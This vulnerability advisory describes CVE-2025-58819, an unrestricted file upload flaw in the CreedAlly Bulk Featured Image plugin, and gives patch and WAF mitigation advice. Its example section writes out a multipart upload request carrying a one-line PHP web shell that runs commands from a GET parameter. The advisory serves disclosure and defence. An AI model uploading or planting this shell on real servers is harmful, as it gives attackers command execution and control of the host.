Overview
CVE-2025-58819 is a critical vulnerability affecting CreedAlly Bulk Featured Image, a popular image handling tool, used in a wide range of web server applications. The vulnerability allows an attacker to upload unrestricted files of a dangerous type, specifically, a web shell, to a web server. This can potentially lead to a catastrophic system compromise or data leakage, posing serious risks to any organization using vulnerable versions of this software.
The severity of this vulnerability is high due to the potential for full system compromise, and it is therefore crucial that affected organizations take immediate action to mitigate the threat. In this article, we will provide a detailed overview of CVE-2025-58819, covering its potential impacts and providing guidance for mitigating the threat.
Vulnerability Summary
CVE ID: CVE-2025-58819
Severity: Critical (CVSS 9.1)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage
Affected Products
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Product | Affected Versions
CreedAlly Bulk Featured Image | Up to and including 1.2.2
How the Exploit Works
The exploit takes advantage of the lack of restrictions in file types that can be uploaded using CreedAlly Bulk Featured Image. An attacker, by crafting a malicious file that includes a web shell, can upload it to the server via the application. Once uploaded, the web shell can be used to execute arbitrary commands, providing the attacker with full control over the server, and potentially leading to system compromise or data leakage.
Conceptual Example Code
Here’s a conceptual example of a HTTP request that an attacker could use to upload a malicious file containing a web shell:
POST /upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=---1234567890
---1234567890
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
---1234567890--In this example, the attacker is using a POST request to upload a PHP file containing a shell. This shell can then be used to execute arbitrary commands on the server.
Mitigation Guidance
The vendor has released a patch to address this vulnerability. Affected organizations are strongly advised to update CreedAlly Bulk Featured Image to the latest version as soon as possible. In the interim, organizations can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent malicious file uploads as a temporary mitigation measure.